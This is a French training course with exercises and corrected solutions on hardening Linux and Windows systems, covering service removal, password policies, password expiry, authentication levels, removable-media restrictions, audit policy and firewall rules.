• L'apprenant doit être capable d'appliquer les configurations et les bonnes pratiques de sécurisation d'un système d'exploitation Linux en partant des stratégies de sécurité définies dans un énoncé.

2. Pour l'apprenant

- Il est recommandée de maitriser les bonnes pratiques de sécurisation d'un système d'exploitation Linux
- Il est également recommandé de suivre les étapes décrites dans l'énoncé

3. Conditions de réalisation :

- VirtualBox installé
- Une machine Virtuelle Ubuntu

4. Critères de réussite :

- Désactiver avec succès les services inutiles
- Définir avec succès une stratégie des mots de passes utilisateurs

Activité 3 Sécuriser les systèmes Linux



Sécuriser les systèmes Linux

- L'objectif de cette activité est d'appliquer un ensemble de bonnes pratiques de configuration permettant de durcir un système d'exploitation Linux afin d'éliminer de nombreuses surfaces d'attaques.
- Pour ce faire, les mesures de sécurité à appliquer dans cette activité sont comme suit :
 - 1. Désactiver les services inutiles :
 - Lister les services actives en utilisant la commande : lsof --i ;
 - Désactiver les services inutiles en utilisant la commande : apt-get remove <nom-service>.
 - 2. Définir un modèle de sécurité des mots de passe utilisateurs
 - Ajouter un utilisateur User1 et lui attribuer un mot de passe, en tapant les commandes suivantes :
 - sudo adduser user1
 - sudo passwd user1

Activité 3 Sécuriser les systèmes Linux



Sécuriser les systèmes Linux

- Modifier le fichier /etc/pam.d/common-password pour configurer les stratégies de mot de passe en utilisant les paramètres suivants :
 - retry: Nombre de fois consécutives qu'un utilisateur peut entrer un mot de passe incorrect.. Choisir 4 comme valeur.
 - minlen: Longueur minimale du mot de passe. Choisir 9 comme valeur.
 - Icredit: Nombre minimal de lettres minuscules. Choisir 2 comme valeur
 - ucredit: Nombre minimal de lettres majuscules. Choisir 2 comme valeur
 - ocredit: Nombre minimal de symboles. Choisir 1 comme valeur
- Modifier le mot de passe de l'utilisateur user1 pour tester la nouvelle configuration
- 2. Définir une période d'expiration d'un mot de passe
 - Modifier le fichier /etc/login.defs pour définir la période d'expiration d'un mot de passe comme suit :
 - PASS_MAX_DAYS 120 \rightarrow Nombre de jours maximum de validité d'un mot de passe est 120 jours
 - PASS_MIN_DAYS 0 → Nombre de jours minimal pour changer un mot de passe est 0 jours
 - PASS_WARN_AGE 8 \rightarrow Nombre de jours avant l'expiration pour alerter les utilisateur est 8 jours
 - Vérifier si la période d'expiration définie est appliquée à l'utilisateur user1 en exécutant la commande sudo chage l user1

Activité 3 Sécuriser les systèmes Linux



Sécuriser les systèmes Linux

- Utiliser les commandes suivantes pour définir la période d expiration définie précédemment pour user1 :
 - sudo chage -M 120 user1
 - sudo chage -m 0 user1
 - sudo chage -W 8 user1
- Vérifier de nouveau la période d'expiration définie pour l'utilisateur user1 en exécutant la commande sudo chage l user1

Activité 3 Correction



Désactiver les services inutiles :

Pour lister les services actifs dans un système Linux, exécutez la commande sudo lsof-i :

osboxes@osboxes:~\$ sudo lsof -i									
COMMAND	PID	USER	FD	TYPE	DEVICE	SIZE/OFF	NODE	NAME	
systemd-r	558	systemd-resolve	13u	IPv4	17376	0t0	UDP	localhost:domain	
systemd-r	558	systemd-resolve	14u	IPv4	17377	0t0	TCP	localhost:domain (LISTEN)	
avahi-dae	596	avahi	12u	IPv4	18334	0t0	UDP	*:mdns	
avahi-dae	596	avahi	13u	ΙΡνσ	18335	0t0	UDP	*:mdns	
avahi-dae	596	avahi	14u	IPv4	18336	0t0	UDP	*:59135	
avahi-dae	596	avahi	15u	ΙΡνσ	18337	0t0	UDP	*:54072	
NetworkMa	599	root	23u	IPv4	18780	0t0	UDP	osboxes:bootpc->_gateway:bootps	
cupsd	728	root	би	ΙΡνσ	18882	0t0	ТСР	<pre>ip6-localhost:ipp (LISTEN)</pre>	
cupsd	728	root	7u	IPv4	18883	0t0	ТСР	localhost:ipp (LISTEN)	
cups-brow	839	root	7u	IPv4	18999	0t0	UDP	*:631	

D'après le résultat affiché dans la figure ci-dessus, nous pouvons remarquer la présence du service **avahi-daemon** qui pourra être désinstallé ou désactivé.



Désactiver les services inutiles :

Pour désinstaller le service avahi-daemon, exécutez la commande **sudo apt-get**

Listez de nouveau les services actifs en exécutant la commande sudo lsof -i

remove avahi-daemon

	osboxes@osboxe	s:~\$ sudo lsof -1	i			
osboxes@osboxes:~\$ sudo apt-get remove avani-daemon	COMMAND PID	USER	FD	TYPE DEVICE	SIZE/OFF NODE	E NAME
Reading package lists Done	systemd-r 558	systemd-resolve	13u	IPv4 17376	Oto UD	P localhost:domain
Building dependency tree Done	systemd-r 558	systemd-resolve	14u	IPv4 17377	Oto TC	P localhost:domain (LISTEN)
Reading state information Done	NetworkMa 599	root	23u	IPv4 18780	Oto UD	P osboxes:bootpc->_gateway:bootps
The following packages were automatically installed and are no longer required:	cupsd 728	root	6u	IPv6 18882	0t0 TC	P ip6-localhost:ipp (LISTEN)
libavahi-core7 libreoffice-ogltrans	cupsd 728	root	7u	IPv4 18883	OtO TC	P localhost:ipp (LISTEN)
Use 'sudo apt autoremove' to remove them.	cups-brow 839	root	7u	IPv4 18999	Oto UDA	P *:631
The following packages will be REMOVED:						
avahi-daemon avahi-utils ipp-usb libnss-mdns						
0 upgraded, 0 newly installed, 4 to remove and 167 not upgraded.						
After this operation, 6 225 kB disk space will be freed.						
Do you want to continue? [Y/n] y						
(Reading database 155378 files and directories currently installed.)						
Removing libnss-mdns:amd64 (0.14.1-2build1)						
Removing avahi-utils (0.8-5ubuntu4)						
Removing ipp-usb (0.9.19-2ubuntu1)						
Removing avahi-daemon (0.8-5ubuntu4)						
Created symlink /run/systemd/system/avahi-daemon.service \rightarrow /dev/null.						
Removed /run/systemd/system/avahi-daemon.service.						
Processing triggers for man-db (2.9.4-2)						
Processing triggers for dbus (1.12.20-2ubuntu2)						
Processing triggers_for libc-bin (2.34-0ubuntu3)						

Activité 3 Correction



Définir un modèle de sécurité des mots de passe utilisateurs

Ces figures illustrent l'ajout d'un nouveau utilisateur user1 et le test d'utilisation de cet utilisateur

osboxes@osboxes:~\$ sudo adduser user1 Adding user `user1' ... Adding new group `user1' (1001) ... Adding new user `user1' (1001) with group `user1' ... The home directory `/home/user1' already exists. Not copying from `/etc/skel'. New password: BAD PASSWORD: The password is shorter than 8 characters Retype new password: passwd: password updated successfully Changing the user information for user1 Enter the new value, or press ENTER for the default Full Name []: user1 Room Number []: 1 Work Phone []: Home Phone []: Other []: Is the information correct? [Y/n] y

osboxes@osboxes:~\$ sudo su user1 user1@osboxes:/home/osboxes\$ exit exit osboxes@osboxes:~\$



Définir un modèle de sécurité des mots de passe utilisateurs

• Pour éditer le fichier fichier /etc/pam.d/common-password, il suffit d'exécuter la commande sudo nano fichier /etc/pam.d/common-password

osboxes@osboxes:~\$ sudo nano /etc/pam.d/common-password

La figure ci-dessous illustre la configuration par défaut du fichier /etc/pam.d/common-password

_						
Γ	GNU nano 5.6.1 /etc/pam.d/common-password					
\$	# As of pam 1.0.1-6, this file is managed by pam-auth-update by default.					
\$	# To take advantage of this, it is recommended that you configure any					
\$	# local modules either before or after the default block, and use					
ŧ	# pam-auth-update to manage selection of other modules. See					
\$	# pam-auth-update(8) for details.					
#	# here are the per-package modules (the "Primary" block)					
Ŗ	password requisite pam_pwquality.so retry=3					
Ŗ	password [success=2 default=ignore] pam_unix.so obscure use_authto					
Ŗ	password sufficient pam_sss.so use_authtok					
\$	# here's the fallback if no module succeeds					
F	password requisite pam_deny.so					
#	# prime the stack with a positive return value if there isn't one already;					
\$	# this avoids us returning an error just because nothing sets a success code					
\$	# since the modules above will each just jump around					
F	password required pam_permit.so					
\$	# and here are more per-package modules (the "Additional" block)					
F	password optional pam_gnome_keyring.so					
#	<pre># end of pam-auth-update config</pre>					



Définir un modèle de sécurité des mots de passe utilisateurs

La figure ci-dessous illustre la nouvelle configuration du fichier /etc/pam.d/common-password qui répond à la stratégie définie dans l'énoncé :

# here ar	e the per-package modules (the "Primar	v" block)
password	requisite	pam_pwquality.so retry=4 minlen=9 ucredit=-2 lcredit=-2 ocredit=-1
password	[success=2 default=ignore]	pam_unix.so obscure use_authtok try_first_pass sha512
password	sufficient	pam_sss.so use_authtok
# here's	the fallback if no module succeeds	
password	requisite	pam_deny.so

Cette figure illustre la modification du mot de passe de l'utilisateur user1. Le résultat illustré montre que la nouvelle configuration est bien appliqué

osboxes@osboxes:~\$ sudo passwd user1
New password:
BAD PASSWORD: The password contains less than 2 uppercase letters
Retype new password:
Sorry, passwords do not match.
New password:
BAD PASSWORD: The password contains less than 2 lowercase letters
Retype new password:
Sorry, passwords do not match.
New password:
BAD PASSWORD: The password contains less than 1 non-alphanumeric characters
Retype new password:
Sorry, passwords do not match.
New password:
BAD PASSWORD: The password is shorter than 9 characters
Retype new password:
Sorry, passwords do not match.
passwd: Have exhausted maximum number of retries for service
passwd: password unchanged

Activité 3 Correction



Définir une période d'expiration d'un mot de passe

La figure ci-dessous illustre la configuration par défaut du fichier /etc/login.defs

<pre># Password aging control</pre>	ols:
#	
# PASS_MAX_DAYS	Maximum number of days a password may be used.
# PASS_MIN_DAYS	Minimum number of days allowed between password changes.
# PASS_WARN_AGE	Number of days warning given before a password expires.
#	
PASS_MAX_DAYS 99999	
PASS_MIN_DAYS 0	
PASS_WARN_AGE 7	

La figure ci-dessous illustre la nouvelle configuration du fichier /etc/login.defs qui répond aux exigences de l'énoncé

#	Password agir	ng contro	ls:		
#					
#	PASS_MA	AX_DAYS	Maximum number	of days	a password may be used.
#	PASS_M1	IN_DAYS	Minimum number	of days	allowed between password changes.
#	PASS_WA	ARN_AGE	Number of days	warning	given before a password expires.
#					
PA	SS_MAX_DAYS	120			
PA	SS_MIN_DAYS	0			
PA	SS_WARN_AGE	8			



Définir une période d'expiration d'un mot de passe

En exécutant la commande sudo chage - l user1, nous pouvons remarquer que la configuration définie précédemment n'est pas applicable pour les anciens utilisateurs.

<pre>osboxes@osboxes:~\$ sudo chage -l user1</pre>	
Last password change	: mars 26, 2022
Password expires	: never
Password inactive	: never
Account expires	: never
Minimum number of days between password change	: 0
Maximum number of days between password change	: 99999
Number of days of warning before password expires	: 7

L'application de la configuration d'une période d'expiration d'un mot de passe à un ancien utilisateur en utilisant la commande chage

osboxes@osboxes:~\$ sudo chage -M 120 user1	
osboxes@osboxes:~\$ sudo chage -m 0 user1	
osboxes@osboxes:~\$ sudo chage -W 8 user1	
<pre>osboxes@osboxes:~\$ sudo chage -l user1</pre>	
Last password change	: mars 26, 2022
Password expires	: juil. 24, 2022
Password inactive	: never
Account expires	: never
Minimum number of days between password change	: 0
Maximum number of days between password change	: 120
Number of days of warning before password expires	: 8
osboxes@osboxes:~\$	



ACTIVITÉ 4 SÉCURISER LES SYSTÈMES WINDOWS

Compétences visées :

• Appliquer les bonnes pratiques et la configuration des outils nécessaires pour sécuriser un système d'exploitation

Recommandations clés :

 Maitriser les bonnes pratiques de sécurisation d'un système d'exploitation Windows





CONSIGNES

1. Pour le formateur

• L'apprenant doit être capable d'appliquer les configurations et les bonnes pratiques de sécurisation d'un système d'exploitation Windows en partant des stratégies de sécurité définies dans un énoncé.

2. Pour l'apprenant

- Il est recommandée de maitriser les bonnes pratiques de sécurisation d'un système d'exploitation Windows
- Il est également recommandée de suivre les étapes décrites dans l'énoncé

3. Conditions de réalisation :

- VirtualBox installé
- Une machine virtuelle Windows. Un fichier ISO d'installation de Windows 10 pourra être téléchargé à partir du lien suivant : <u>https://tb.rg-adguard.net/dl.php?go=7119d4be</u>

4. Critères de réussite :

• Configurer avec succès les stratégies de sécurité définies dans l'énoncé de l'activité



Introduction

- L'objectif de cette activité est d'appliquer un ensemble de bonnes pratiques de configuration permettant de durcir un système d'exploitation Windows afin d'éliminer de nombreuses surfaces d'attaques.
- Pour ce faire, les mesures de sécurité à appliquer dans cette activité sont comme suit :
 - 1. Désactiver les services inutiles et renforcer le niveau de sécurité des services existants ;
 - 2. Limiter les connexions réseau ;
 - 3. Limiter les risques liés à l'usage de médias amovibles ;
 - 4. Définir un modèle de sécurité pour les comptes système ;
 - 5. Définir une stratégie d'audit ;
 - 6. Exécuter la restauration du système et créez un point de restauration ;
 - 7. Configurer des règles de sécurité pour le pare-feu Windows.



Étape 1 : Désactiver les services inutiles et renforcer le niveau de sécurité des services existants

- L'objectif de cette étape est de désactiver les services qui sont inutiles pour le fonctionnement du système. Cela permet de réduire efficacement la surface d'attaque.
- Pour afficher la liste des services activés dans un système Windows, il suffit de lancer **services.msc** (taper services.msc dans la barre de recherche Windows). Une interface affichant les différents services ainsi que leurs états (désactivés, lancés manuellement ou automatiquement).
- En parcourant la liste des services affichez dans cette interface, désactivez ceux qui ne sont pas utiles.
- Exemples de services inutiles qui doivent être désactivés :
 - Téléphonie
 - Télécopie
 - Carte à puce
 - Service de prise en charge Bluetooth
 - Spouleur d'impression
 - Service initiateur iSCSI Microsoft
 - Partage de connexion Internet
 - Routage et accès distant
- Travail demandez : Essayez au moins de désactivez les services inutiles cités précédemment..



Étape 1 : Désactiver les services inutiles et renforcer le niveau de sécurité des services existants

- Certaines services ne peuvent pas être désactivé. Il est possible de renforcer leurs niveaux de sécurité au travers de **la politique locale** du poste.
- Dans cette activité, vous êtes chargés de renforcer la sécurité de l'authentification à distance. Pour ce faire :
 - Lancez gpedit.msc (tapez gpedit.msc dans la barre de recherche Windows)
 - Allez dans : Configuration ordinateur → Paramètres Windows → Paramètres de sécurité--> Stratégies locales → Options de sécurité
 - Parcourez la liste et sélectionner Sécurité réseau : niveau d'authentification du LAN Manager
 - Examinez la liste fournie pour les différents niveau d'authentification fournis. Pour avoir une idée sur la signification de chaque niveau de sécurité, tapez le menu Expliquer (comme illustré dans la figure ci-dessous)
 - Attribuez comme niveau de sécurité la valeur « uniquement NTLM v2, Refuser LM »
 - Validez le choix

Propriétés de : Sécurité réseau : niveau d'authentification ? X
Paramètre de sécurité locale Expliquer
Sécurité réseau : niveau d'authentification LAN Manager
Ce paramètre de sécurité détermine quel est le protocole d'authentification de stimulation/réponse des ouvertures de l session réseau utilisé. Ce choix a une incidence sur le niveau du protocole d'authentification qu'utilisent les clients, le niveau de sécurité de session que négocient les systèmes et le niveau d'authentification qu'acceptent les serveurs, de la façon suivante :
Envoyer les réponses LM et NTLM : les clients utilisent l'authentification LM et NTLM et n'ont jamais recours à la sécurité de session NTLMv2 ; les contrôleurs de domaine acceptent l'authentification LM, NTLM et NTLMv2.
Envoyer LM et NTLM - utiliser la sécurité de session NTLM version 2 si négociée : les clients utilisent l'authentification LM et NTLM ainsi que la sécurité de session NTLMv2 si le serveur la prend en charge. Les contrôleurs de domaine acceptent l'authentification LM, NTLM et NTLMv2.
Envoyer uniquement les réponses NTLM : les clients utilisent l'authentification NTLM uniquement, ainsi que la sécurité de session NTLMv2 si le serveur la prend en charge. Les contrôleurs de domaine accentent l'authentification I M NTI M Pour obtenir plus d'informations sur la stratégie de sécurité et les
roncuonnailes de vindows, <u>visitez le site Web de Microsoff</u> .
OK Annuler Appliquer



Étape 2 : Limiter les connexions réseau

- Les objectifs de cette étape sont de limiter les fonctions d'une interface réseau et désactiver les protocoles réseau inutiles afin de limiter les attaques réseau.
- 1. Afin d'examiner les fonctions d'une interface réseau et sélectionner celles qui sont utiles, sélectionnez Panneau de configuration → Réseau et Internet/Connexion réseau → clic droit sur l'interface réseau (Ethernet) → Propriétés.
 - Souvent, les fonctions d'une interface réseau utile pour la plupart des systèmes sont :
 - Client pour réseau Microsoft
 - Protocole Internet version 4 (TCP/IPv4)
 - Les autres options peuvent être désactivées (ou désélectionnées) :
 - Partage de fichiers et imprimantes :Utile pour les serveurs de fichiers
 - Planificateur de paquets QoS : Utile dans le cas de l'adoption de la priorisation du trafic
 - Les protocoles de découverte LLDP et topologie de la couche de liaison : Inutiles
 - Travail demandé : Désactivez les fonctions inutiles de votre interface réseau
- 2. Désactivez le protocole IPv6 inutilisé comme suit : Panneau de configuration → Gestionnaire de périphériques → Menu Affichage → Afficher les périphériques cachés/réseau → désactivez Wan Miniport IPv6.



Étape 3 : Limiter les risques liés à l'usage de médias amovibles

- Pour bloquer les attaques exploitant les médias amovibles, il est possible de désactiver la possibilité d'utilisation des médias amovibles sur les postes.
- Pour ce faire, vous êtes appelés à :
 - Lancer gpedit.msc ;
 - Activer les deux options suivantes :
 - Configuration Ordinateur → Modèle d'administration → Système → Accès au stockage amovible → Toutes les classes de stockage amovible : refuser tous les accès
 - Configuration Ordinateur \rightarrow Modèle d'administration \rightarrow Système \rightarrow Installation de périphérique \rightarrow Restriction d'installation de périphériques \rightarrow Empêcher l'installation de périphériques amovibles



Étape 4 : Définir un modèle de sécurité pour les comptes système

- L'objectif de cette étape est de définir un modèle de sécurité pour les comptes systèmes
- Pour ce faire, il vous est demandé de :
 - Configurez une politique de mots de passe des comptes comme suit :
 - La longueur des mots de passe doit être supérieur ou égale à 8 caractères composés de minuscules, de majuscules et de chiffres
 - La durée de vie maximale doit être 30 jours
 - La durée de vie minimale doit être supérieure à zéro
 - Les anciens mots de passe ne doivent pas être réutilisés en permanence (seuil égale à 24)
 - Définir un seuil de verrouillage égal à 3 échecs de connexion à tous les comptes d'utilisateurs
- Pour configurer la stratégie demandée, il suffit de lancer Stratégie de sécurité locale → Stratégie de comptes



Étape 5 : Définir une stratégie d'audit

- L'objectif principal de cette étape est d'activer et configurer la journalisation des principaux évènement exécutés dans un système. Cela permet d'identifier les sources de menaces lors de l'apparition d'une attaque de sécurité
- Pour ce faire, il vous est demandé de :
 - Activer la journalisation des tentatives réussies et échouées pour les événements système
 - Activer la journalisation des tentatives réussies et échouées pour les événements de connexion au compte et la connexion événements
 - Activer uniquement la journalisation des tentatives réussies d'utilisation des privilèges et d'accès aux objets
- Pour configurer la stratégie demandée, il suffit de lancer Stratégie de sécurité locale → Stratégies locales → Stratégie d'audit



Étape 6 : Exécuter la restauration du système et créez un point de restauration.

- Cette étape est importante car elle permet de créer des sauvegardes d'image système de l'ensemble d'un système d'exploitation, y compris les fichiers systèmes, les programmes installés et les fichiers personnels
- Il est possible d'enregistrer l'image système sur un lecteur interne ou externe, ou sur des CD ou des DVD
- Pour ce faire, allez dans Panneau de configuration → Système et maintenance → Sauvegarde et restauration

1	Sauvegarder et restaurer (Windows	7)	- 0	×
÷	• -> • 🛧 🐌 « Systè > Sa	uvegarder et resta V Ö 🔎 Rechercher		
	Page d'accueil du panneau de configuration	Sauvegarder ou restaurer des fichiers		
•	Créer une image système	Sauvegarder		
•	Créer un disque de réparation	Sauvegarde Windows non configurée.	Configurer la sauvega	rde
	systeme	Restaurer		
		Pour cet ordinateur, Windows n'a détecté aucune sauvegarde.		
		Choisir une autre sauvegarde comme source de restauration d	es fichiers	

• Dans le volet de gauche, cliquez sur Créer une image système, puis suivez les étapes



Étape 7 : Configurer des règles de sécurité pour le pare-feu Windows

- L'objectif de cette étape est de découvrir les étapes de configuration de nouvelles règles à un pare-feu Windows
- Pour ce faire, dans cette étape vous allez ajouter une règle au pare-feu Windows qui autorise la mise à jour du système Windows
 - En effet, parmi les bonnes pratiques de sécurité, figure celle de mettre à jour constamment le système d'exploitations
- Pour allez ajouter une règle au pare-feu Windows qui autorise la mise à jour du système Windows, vous êtes chargés de :
 - Aller dans Panneau de configuration \rightarrow Pare-feu Windows \rightarrow Paramètres Avancés
 - Cliquer sur Règles de trafic sortants \rightarrow Nouvelle règle
 - Sélectionner Personnalisée → Services → Personnaliser → défiler la liste et trouver Windows Update → Appliquer à ce service → ok → Suivant
 - Sélectionner TCP comme protocole puis cliquer suivant
 - Dans la fenêtre Action, sélectionner Autoriser la connexion puis cliquer sur suivant
 - Cocher tous les profils pour cette règle
 - Donner un nom à cette règle, "Autoriser le service Windows Update"

Activité 4 Correction



Étape 1 : Désactiver les services inutiles et renforcer le niveau de sécurité des services existants

Cette figure illustre l'interface qui affiche les différents services, qui est lancée suite à l'exécution de services.msc

🔍 Services					- 0	×
Fichier Action A	ffichage ?					
(+ - → 📰 Q	🗟 🔽 📷 🕨 🖉 🔳 II ID					
🎑 Services (local)	Services (local)					
	Sélectionnez un élément pour obtenir	Nom	Description	État	Type de démarrage	^
	une description.	Accès aux données utilisate	Fournit l'ac		Manuel	
		🔍 Acquisition d'image Windo	Fournit des		Manuel	
		Agent Activation Runtime	Runtime for		Manuel	
		🎑 Agent de stratégie IPsec	La sécurité		Manuel (Déclenche	
		Alimentation	Gère la strat	En co	Automatique	
		🎑 Appel de procédure distant	Le service R	En co	Automatique	
		🆏 Application système COM+	Gère la conf		Manuel	
		🆏 Assistance IP	Fournit une	En co	Automatique	→ ×
		🆏 Assistance NetBIOS sur TCP	Prend en ch	En co	Manuel (Déclenche	
		🆏 Assistant Connectivité réseau	Fournit la n		Manuel (Déclenche	
		🆏 Assistant Connexion avec u	Autorise la	En co	Manuel (Déclenche	
		🆏 Audio Windows	Gère les péri	En co	Automatique	
		🆏 Authentification naturelle	Service d'ag		Manuel (Déclenche	
		🍓 BranchCache	Ce service		Manuel	
		🆏 CaptureService_408ab	Active la fo		Type de démarrage A Manuel Manuel Manuel Manuel Manuel (Déclenche A Automatique A Manuel (Déclenche Manuel Automatique (décle Manuel Automatique (décle Manuel Automatique (décle Manuel Automatique (décle Manuel	
		🆏 Carte à puce	Gère l'accès		Manuel (Déclenche	
		🆏 Carte de performance WMI	Fournit des		Manuel	
		🆏 Centre de sécurité	Le service	En co	Automatique (débu	
		🆏 Cliché instantané des volu	Gère et impl		Manuel	
		🆏 Client de stratégie de groupe	Le service e	En co	Automatique (décle	
		🆏 Client de suivi de lien distri	Conserve le	En co	Automatique	\checkmark
		<			1	>
	Étendu (Standard /					

Activité 4 Correction



Étape 1 : Désactiver les services inutiles et renforcer le niveau de sécurité des services existants

🔍 Services		- 🗆 X
Fichier Action Af	ffichage ?	
🗢 🔿 📰 🖾 🖉	8 🕞 🛛 📷 🕨 🗰 🗉 🕪	Propriétés de Téléphonie (Ordinateur local) ×
Services (local)	Services (local)	Général Connexion Récupération Dépendances
	Téléphonie	Nor
	Démarrer le service	Can S Nom du service : TapiSiv Can S Nom complet : Téléphonie
	Description : Prend en charge l'interface TAPI (Telephony API) pour les programmes qui contrôlent les périphériques de téléphonie sur l'ordinateur local et, via le réseau	Image: Secret processing of the secret point of the sec
	local (LAN), sur les serveurs qui exécutent également le service.	T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T
		V Vous pouvez spécifier les paramètres qui s'appliquent au démarrage du service. V
		Image: Image imag Image image i
	Étendu (Standard /	C OK Annuler Appliquer

Cette figure illustre la désactivation du service Téléphonie

Cette figure illustre la désactivation du service Télécopie

	Propriétés de Télécopie (Ordinateur local) X
Services (local) C. Services (local) Télécopie Démarrer le service Description : Vous permet d'envoyer et de recevoir des télécopies, d'utiliser les ressources de télécopie disponibles sur cet ordinateur ou le réseau.	Général Connexion Récupération Dépendances Nor Main du service : Fax S Nom complet : Télécopie S Description : Vous permet d'envoyer et de receivoir des télécopie S Description : Vous permet d'envoyer et de receivoir des télécopie S Description : Vous permet d'envoyer et de receivoir des télécopie S Description : Vous permet d'envoyer et de receivoir des télécopie S Chemin d'acola des fichiers exécutables : • C.Windows/system32/txsvc.exe • • S Type de démarrage : Désactivé • S Démarrer Arêter • S Démarrer Arêter Suspendre Reprendre S Démarrer Arêter Suspendre Reprendre S Démarrer Arêter • • • S Démarrer Arêter • • • S Démarrer Arêter • • • S Démarrer Arêter • • •
	< OK Annuler Appliquer


Étape 1 : Désactiver les services inutiles et renforcer le niveau de sécurité des services existants

Cette figure illustre la désactivation du service **Carte à puce**

Propriété	s de Carte à	puce (Or	dinate	eur local)			
Général	Connexion	Récupéra	ation	Dépendance	s		
Nom du Nom co Descrip Chemin C:\Win	u service : omplet : tion : d'accès des dows\system	SCard Svr Carte à puo Gère l'acco ordinateur. Pe pourse r fichiers exi 32\sychos	ce ès aux Si ce siue lin écutal	cartes à puc service est a e de carter à bles : k LocalServic	e lues pa rêté, cet c e And Nol	r cet ordinateur	× ×
Type d	e démarrage	:	Désa	ctivé			~
État du Dé	service : A	vrêté Arrêter		Suspend	ne	Reprend	re
Vous po service	ouvez spécifi	er les paran	nètres	qui s'applique	ent au dé	marrage du	L
Paramè	tres de déma	arrage :					

Cette figure illustre la désactivation du service Service de prise en charge Bluetooth

Propriétés de	Service	de prise e	n cha	rge Blue	tooth (O	rdinateur	local)	×
Général Co	nnexion	Récupéra	tion	Dépenda	nces			
Nom du ser	vice : t	othserv						
Nom comple	et:	Service de	prise (en charge	Bluetoot	n		
Description	:	Le service découverte distante 1 's	Blueto et l'a	oth prend ssociation	en charg d'appare	je la ils Bluetoo	oth v	
Chemin d'ac C:\Window	ccès des s∖system:	fichiers exé 32\svchost	ecutab .exe -	oles : k LocalSe	rvice -p			
Type de dé	marrage :	[Désa	ctivé			~	
État du serv	rice: A	rêté						
Démam	er	Arrêter		Susp	endre	Repr	endre	
Vous pouve service.	z spécifie	er les param	nètres	qui s'appl	iquent au	démarrag	e du	
Paramètres	de déma	rage :]
		C	0	К	Annul	er	Applique	er



Étape 1 : Désactiver les services inutiles et renforcer le niveau de sécurité des services existants

Cette figure illustre la désactivation du service **Spouleur d'impression**

Propriétés de Spoul	eur d'impressio	n (Ordinateur local)		
Général Connexion	Récupération	Dépendances		
Nom du service :	Spooler			
Nom complet :	Spouleur d'impr	ession		
Description :	Ce service met et gère l'interac	en spoule les travaux tion avec l'imprimante	d'impression A . Si vous	
Chemin d'accès de C:\Windows\Syste	es fichiers exécuta m32\spoolsv.exe	ables :		
Type de démarrage	e : Dés	activé	~	
État du service :	En cours d'exéct	ution		
Démarrer	Arrêter	Suspendre	Reprendre	
Vous pouvez spéci service. Paramètres de dérr	fier les paramètre	s qui s'appliquent au o	lémarrage du	
		OK Annule	r Applique	er

Cette figure illustre la désactivation du service Service Initiateur iSCSI de Microsoft

Propriété	s de Service	Initiateur	iscsi	de Micro	soft (Ordi	nateur local)	×
Général	Connexion	Récupéra	ation	Dépendar	ices		
Nom du	service :	MSiSCSI					
Nom co	mplet :	Service Init	iateur	iSCSI de N	licrosoft		
Descrip	tion :	Gère les se cet ordinate dietante Si	eur su	s iSCSI (Inte r les périph	ernet SCSI ériques cib rêté l'ordir) à partir de le iSCSI	Ĵ
Chemin C:\Wind	d'accès des dows\system	fichiers exe 32\svchost	écutab t.exe +	oles : k netsvcs ·	p		
Type de	e démarrage	:	Désa	ctivé			\sim
État du	service : A	vrêté					-
Dér	marrer	Arrêter		Suspe	ndre	Reprendre	
Vous po service.	ouvez spécifi	er les paran	nètres	qui s'applio	quent au de	émarrage du	
Paramè	tres de déma	mage :					
		E	0	K	Annuler	Applic	luer



Étape 1 : Désactiver les services inutiles et renforcer le niveau de sécurité des services existants

Cette figure illustre la désactivation du service **Partage de connexion Internet**

Propriétés de Partag	je de conne	exion li	nternet (l	CS) (Ord	inateur	local))
Général Connexion	Récupéra	ation	Dépendar	ices			
Nom du service :	SharedAcc	ess					
Nom complet :	Partage de	conne:	kion Interr	net (ICS)			
Description :	Assure la tr l'adressage	aductio e, les se	n d'adres rvices de	ses de rés résolution	eau, de nom		•
Chemin d'accès de C:\Windows\Syste	s fichiers exe m32\svchos	écutable t.exe -k	es : netsvcs	P			
Type de démarrage	:	Désad	tivé			```	/
État du service :	Arrêté						_
Démarrer	Arrêter		Suspe	ndre	Rep	rendre	
Vous pouvez spéci service.	fier les paran	nètres q	jui s'applio	quent au d	émarrag	je du	
Paramètres de dém	arrage :						
	E	Oł	(Annuler	•	Appliqu	ler

Cette figure illustre la désactivation du service Routage et accès distant

Propriétés de Routag	je et accès dista	ant (Ordinateur loca	al)	\times
Général Connexion	Récupération	Dépendances		
Nom du service :	RemoteAccess			
Nom complet :	Routage et accè	ès distant		
Description :	Offre aux entrep les environneme	rises des services de ents de réseau local o	routage dans 🔨 u étendu.	
Chemin d'accès des C:\Windows\System	fichiers exécuta 132\svchost.exe	bles : -k netsvcs		
Type de démarrage	: Désa	activé	~	
État du service : A	vrêté			
Démarrer	Arrêter	Suspendre	Reprendre	
Vous pouvez spécifi service.	er les paramètres	s qui s'appliquent au o	lémarrage du	
Paramètres de déma	arrage :			
	(OK Annule	r Applique	r



Étape 1 : Désactiver les services inutiles et renforcer le niveau de sécurité des services existants

Cette figure illustre l'amélioration du niveau de sécurité de l'authentification à distance (Sécurité réseau : niveau d'authentification du LAN Manager) en lui attribuant comme valeur « uniquement NTLM v2, Refuser LM »

🗐 Éditeur de stratégie de groupe locale	Propriétés de : Sécurité réseau : niveau d'authentification ? ×	\times
Fichier Action Affichage ?	Barranita de sésurité legale 🕞 t	
🗢 🔿 📶 🗙 🗐 🗟 🖬	Parametre de securite locale Expliquer	
 Stratégie Ordinateur local Configuration ordinateur Paramètres du logiciel Paramètres Windows Stratégie de résolution de noms Scripts (démarrage/arrêt) Imprimantes déployées Paramètres de sécurité Stratégies locales Stratégie locales Stratégie d'audit Stratégie d'audit 	Itégie Sécurité réseau : niveau d'authentification LAN Manager Sécurité réseau : Sécurité rése	^
